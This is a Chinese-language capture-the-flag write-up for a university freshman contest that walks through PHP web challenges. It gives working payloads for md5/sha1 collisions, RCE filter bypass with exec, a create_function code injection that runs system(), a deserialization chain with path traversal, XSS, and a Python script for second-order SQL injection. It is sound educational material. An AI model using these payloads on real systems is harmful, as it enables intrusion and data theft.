0%

xmu新生赛web wp

xmu新生赛web wp

ez_md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
highlight_file(__FILE__);
include 'flag.php';

if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}

}
else {
echo 'wrong!';
}
?> wrong!

输入两个md5一样的值就可以了
payload:

ez_rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
居然都不输入参数,可恶!!!!!!!!! <?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}

这里禁用了很多函数,但是显然还是没有禁完,可以用反引号或者exec执行命令,然后用print_r函数让结果回显
?code=print_r(exec("whoami"));
下一步就是找到flag位置 ?code=print_r(exec("find%20/")); 这个命令可以获取根目录下面的文件,这里只能获取到一个文件/fffffffffflagafag 然后用nl命令查看就可以了

ez_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";

}
?> username or password error!

这里就是把传入的info数据反序列化 如果反序列化出来的值和题目要求的一样就可以
payload

1
2
3
4
5
6
7
8
<?php
$data = array(
"username" => "this_is_secret",
"password" => "this_is_not_known_to_you"
);

echo serialize($data);

a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}

签到

打开f12 在注释里找到第一段flag 然后在网络中的标头里面找到flag字段对应flag的第二段

前女友

查看页面源代码 有一个code.txt可以跳转,得到一段php代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

这里关键让strcmp()的返回值是0就好,这里就让v3是一个数组,这样就可以返回null
payload: ?v1=240610708&v2=QNKCDZO&v3[]=1

d0_U_kn0W_XSS


这题只要==触发xss就可以了 ?id=<script>alert(1)</script> 然后在注释中找到flag

Leveling up

level1


注释中出现disallow:的提示,所以查看robots.txt 得到第二关的地址level_2_1s_h3re.php

level2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];
if ($a1 == $a2){
die("????");
}
if (md5($a1) === md5($a2)){
echo $level3;
}
else{
die("level 2 failed ...");
}

}
else{
show_source(__FILE__);
}
?>

这里要a1不等于a2 ,但是md5是强等于,之前做的都是弱比较,在网上搜php md5强比较相等可以得到payload

1
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这里传参的时候 把a b改成array1 和array2 然后要用bp传,hackbar有长度限制
还要注意GET请求改成POST请求要加上Content-Type: application/x-www-form-urlencoded

得到第三关的url Level___3.php

level3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];
if ($a1 == $a2){
die("????");
}
if (sha1($a1) === sha1($a2)){
echo $level4;
}
else{
die("level 3 failed ...");
}

}
else{
show_source(__FILE__);
}
?>

这和上一关不同的就是md5改成sha1 网上也可以搜到payload

1
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

一样用bp发post包 得到第四关url level_level_4.php

level4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
//here is last level
error_reporting(0);
include "str.php";
show_source(__FILE__);

$str = parse_url($_SERVER['REQUEST_URI']);
if($str['query'] == ""){
echo "give me a parameter";
}
if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
die("blacklist here");
}
if($_GET['NI_SA_'] === "txw4ever"){
die($level5);
}
else{
die("level 4 failed ...");
}

?> give me a parameterlevel 4 failed ...

这里过滤了空格 下划线 点 这里要了解一下php中的特性:php中用get和post传入的参数如果有.和空格会转换成下划线_,如果是+号会转换成空格 所以先用+号变成空格 再利用空格就可以转换出下划线
payload ?NI+SA+=txw4ever
第五关url 55_5_55.php

level5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}

这里看似过滤了a字母和数字 但是过滤是以字母和数字开头的 所以可以用\绕过 然后后面调用函数$a 参数$b
这里可以通过\create_function调用全局函数,并且绕过waf,然后b用}闭合插入想要执行的命令,最后/*注释后面的内容
payload a=\create_function&b=}system('你想执行的命令');/*

Leveling up up up!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
highlight_file(__FILE__);
include 'flag.php';
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanneedflag';
$get ='FuckUhacker!';
if(isset($_GET['flag']) && isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "你很弱欸";
}
?> 你很弱欸

这种题目要一步一步做,然后看有没有正确的回显
第一步的条件是if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)) 这个和上面做的那个md5强比较一样

看到返回的字段和之前不一样就说明通过了这个验证
第二步if ($_COOKIE['cookie']=='j0k3r')
直接在发送的包里面加上cookie就可以了

第三步

1
2
3
4
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb)

这里利用php中的弱比较,这里aaa bbb不能一样 但是要都等于同一个数字,可以用字符串,字符串在和数字比较的时候会转换成数字

最后一步

1
2
3
4
5
6
7
8
9
10
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $flag;

这里的flag不能直接就等于flag,要利用一个中间变量然后让post中传入flag=x让这个中间变量x存flag的原来的值,然后在get中传入x=flag又会让flag恢复原来的值,这样就能绕过变量覆盖

pklovecloud

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
you know where I am <?php  
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>

这里最后要用到的是这里return file_get_contents($file); 读取文件的内容。然后能进入这里的条件是$this->openstack->neutron === $this->openstack->nova $this->openstack->neutron = $heat heat是这个类里没有的变量名,所以这个的值是null那现在就让$this->openstack->nova也等于null
那再往外看一层,找到调用echo_name的地方,发现是在acp类中的toString函数,这个会会在下面类定义完之后的echo $logData;会调用,所以传入的反序列化的参数应该是acp类
最后有一个小心的点是读文件的时候$file = "./{$this->filename}";这里前面有./是相对路径,所以要路径穿越
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct($a)
{
$this->cinder = $a;
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
}

$a = new acp("");
$a->neutron = NULL;
$a->nova = NULL;
$b = new ace();
$b->filename='../../../../xmuctfasdasdflag';
$c =new acp($b);
echo urlencode(serialize($c));

这是先创建一个acp类,传入的参数是空,然后让另外两个变量是null,这样让下面创建的ace类b中两个值都是null,进入文件读取,然后最后再创建一个acp类作为传入的参数。

unfinish

题目介绍:看到登陆框要干嘛?
进入页面发现是一个登录框,并且在的界面是login.php 尝试登录,发现邮箱这块有验证,必须是常见的邮箱格式
简单扫描一下,发现存在一个注册界面 register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(root㉿kakeru)-[~/tmp]
└─# dirsearch -u http://58.199.64.88:10031/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/tmp/reports/http_58.199.64.88_10031/__25-05-10_11-18-46.txt

Target: http://58.199.64.88:10031/

[11:18:46] Starting:
[11:18:47] 403 - 293B - /.ht_wsr.txt
[11:18:47] 403 - 296B - /.htaccess.bak1
[11:18:47] 403 - 296B - /.htaccess.orig
[11:18:47] 403 - 298B - /.htaccess.sample
[11:18:47] 403 - 296B - /.htaccess.save
[11:18:47] 403 - 297B - /.htaccess_extra
[11:18:47] 403 - 296B - /.htaccess_orig
[11:18:47] 403 - 294B - /.htaccessBAK
[11:18:47] 403 - 294B - /.htaccess_sc
[11:18:47] 403 - 294B - /.htaccessOLD
[11:18:47] 403 - 295B - /.htaccessOLD2
[11:18:47] 403 - 287B - /.html
[11:18:47] 403 - 286B - /.htm
[11:18:47] 403 - 296B - /.htpasswd_test
[11:18:47] 403 - 292B - /.htpasswds
[11:18:47] 403 - 293B - /.httr-oauth
[11:18:48] 403 - 286B - /.php
[11:18:48] 403 - 287B - /.php3
[11:18:52] 200 - 0B - /config.php
[11:18:54] 301 - 320B - /fonts -> http://58.199.64.88:10031/fonts/
[11:18:54] 301 - 321B - /images -> http://58.199.64.88:10031/images/
[11:18:54] 403 - 289B - /images/
[11:18:55] 200 - 661B - /login.php
[11:18:58] 200 - 708B - /register.php
[11:18:59] 403 - 296B - /server-status/
[11:18:59] 403 - 295B - /server-status
[11:19:01] 301 - 322B - /uploads -> http://58.199.64.88:10031/uploads/
[11:19:01] 403 - 290B - /uploads/

Task Completed


注册界面多了一个username参数,这里应该就是一个注入点,接着用bp跑一下过滤了什么东西,这里注意邮箱每次都要换

这里要先选username里面做第一个扫描位置,然后第二个扫描位置选邮箱前面的数字,这样子爆破的时候才会让参数和数字都不一样

发现过滤了有 INFORMATION 逗号 %0a
既然有登录界面,很有可能是二阶注入,在我的sql总结博客中也有说过 我们先做个尝试,先试出怎么闭合的,所以先注册一个账号
注册的账号是1' 无法登录 如果是1''可以登录,说明用的是单引号闭合。登录后用户名是有回显的

所以是可以利用二阶注入,简单来说就是我们在注册时,用户名中带有sql处理的语句,注册后会执行,然后再登录可以看到结果
这里还有一个很大的问题,就是注释没法用,解决办法是在sql中中的字符运算 可以把想要执行的语句用ascii转换结果然后拼接
比如我在用户名输入0'+ascii(substr(database() from {} for 1))+'0
原来的语句是'$username'这样,所以用第一引号闭合前面的引号,用第二引号闭合后面的引号,变成’0’ + database第一个字符 + ‘0’
注册后登陆,发现确实有了

119 对应的就是w

下一步就可以写脚本了,先注册,然后登陆,找到username的值
我的脚本水平太烂了,写了一个大致的,然后让gpt优化了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import requests
from bs4 import BeautifulSoup
import random
import time

url_register = "http://58.199.64.88:10059//register.php"
url_login = "http://58.199.64.88:10059//login.php"

result = ''
prev = ''

headers = {
"Origin": "http://58.199.64.88:10059",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}

for i in range(1, 100):
session = requests.Session()

# SQL payload 用于 username 字段
payload = f"0'+ascii(substr(database() from {i} for 1))+'0"

email = f"ssss@qq.com{i}"
password = "1"

# 注册请求
data_register = {
"email": email,
"username": payload,
"password": password
}
session.post(url_register, headers=headers, data=data_register)

# 登录请求
data_login = {
"email": email,
"password": password
}
response = session.post(url_login, headers=headers, data=data_login)

# 解析登录返回页面,提取 <span class='user-name'>中的内容
soup = BeautifulSoup(response.text, 'html.parser')
name_span = soup.find('span', class_='user-name')

if not name_span:
print("[-] Failed to find user-name span.")
break

name_text = name_span.get_text(strip=True)

if name_text != '0':
try:
char = chr(int(name_text))
result += char
print(f"[+] {i}: {char} -> {result}")
except:
print(f"[-] Failed to convert {name_text} to ASCII char.")
break

# 若字符不再变化,则认为爆破结束
if result.strip() == prev.strip():
break

print("[+] Database name:", result)

得到结果

1
2
3
4
5
6
(base) kakeru@bogon python % python -u "/Users/kakeru/python/tmp.py"
[+] 1: w -> w
[+] 2: e -> we
[+] 3: b -> web
[+] Database name: web
(base) kakeru@bogon python %

所以数据库名字是web 但是又卡住我很久,因为information这个被禁了,没法查到数据表。不过之前我遇到过的类似情况是就算有表但是不对应真正有flag的表
解决方法是直接尝试表名 很多时候flag这个就是表名,在这题里就是这样的。
payload 修改成f"0'+ascii(substr((select * from flag) from {i} for 1))+'0"
注意邮箱也要修改一下,不然就重复注册了 运行之后得到flag